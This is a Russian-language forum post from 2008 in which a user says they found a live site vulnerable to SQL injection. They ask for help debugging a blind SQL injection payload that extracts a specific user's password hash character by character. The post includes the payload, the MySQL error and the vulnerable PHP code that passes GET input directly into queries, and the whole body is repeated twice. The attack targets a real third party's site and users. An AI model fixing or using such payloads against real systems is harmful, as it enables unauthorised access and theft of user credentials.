downloader
23.12.2008, 21:25
здрасте я нашёл один сайт с sql inject`ом, я посмотрел в компе у меня есть тот же скрипт, но мне надо через тот sql inject надо сделати запрос, вот я сделал:
file.php?requestid=-1+or+id=if(ascii(substring((select+passhash+from+u sers+where+id=103949),=65,1))1,1,(select+1+union+s elect+2))+--+
но мне даёт error:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'from users where id=103949),=65,1))1,1,( 1 2)) --' at line 1
понятно что в syntax но не магу найти где имена, скажите пожалуйста в чём я ошибся... :( вот скрипт:
$requestid = $_GET["requestid"];
$res = mysql_query("SELECT userid, filledby FROM requests WHERE id =$requestid") or err();
$arr = mysql_fetch_assoc($res);
if (($USER[id] == $arr[userid]) || (get_class() >= MODERATOR) || ($USER[id] == $arr[filledby]))
{
@mysql_query("UPDATE requests SET filled='', filledby=0 WHERE id =$requestid") or err();
print("Request $requestid successfully reset.");
}
else
print("Sorry, cannot reset a request when you are not the owner");
скажите пожалуйста в чём я ошибся а то я ламаю голову весь день и не могу найти :(
file.php?requestid=-1+or+id=if(ascii(substring((select+passhash+from+u sers+where+id=103949),=65,1))1,1,(select+1+union+s elect+2))+--+
но мне даёт error:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'from users where id=103949),=65,1))1,1,( 1 2)) --' at line 1
понятно что в syntax но не магу найти где имена, скажите пожалуйста в чём я ошибся... :( вот скрипт:
$requestid = $_GET["requestid"];
$res = mysql_query("SELECT userid, filledby FROM requests WHERE id =$requestid") or err();
$arr = mysql_fetch_assoc($res);
if (($USER[id] == $arr[userid]) || (get_class() >= MODERATOR) || ($USER[id] == $arr[filledby]))
{
@mysql_query("UPDATE requests SET filled='', filledby=0 WHERE id =$requestid") or err();
print("Request $requestid successfully reset.");
}
else
print("Sorry, cannot reset a request when you are not the owner");
скажите пожалуйста в чём я ошибся а то я ламаю голову весь день и не могу найти :(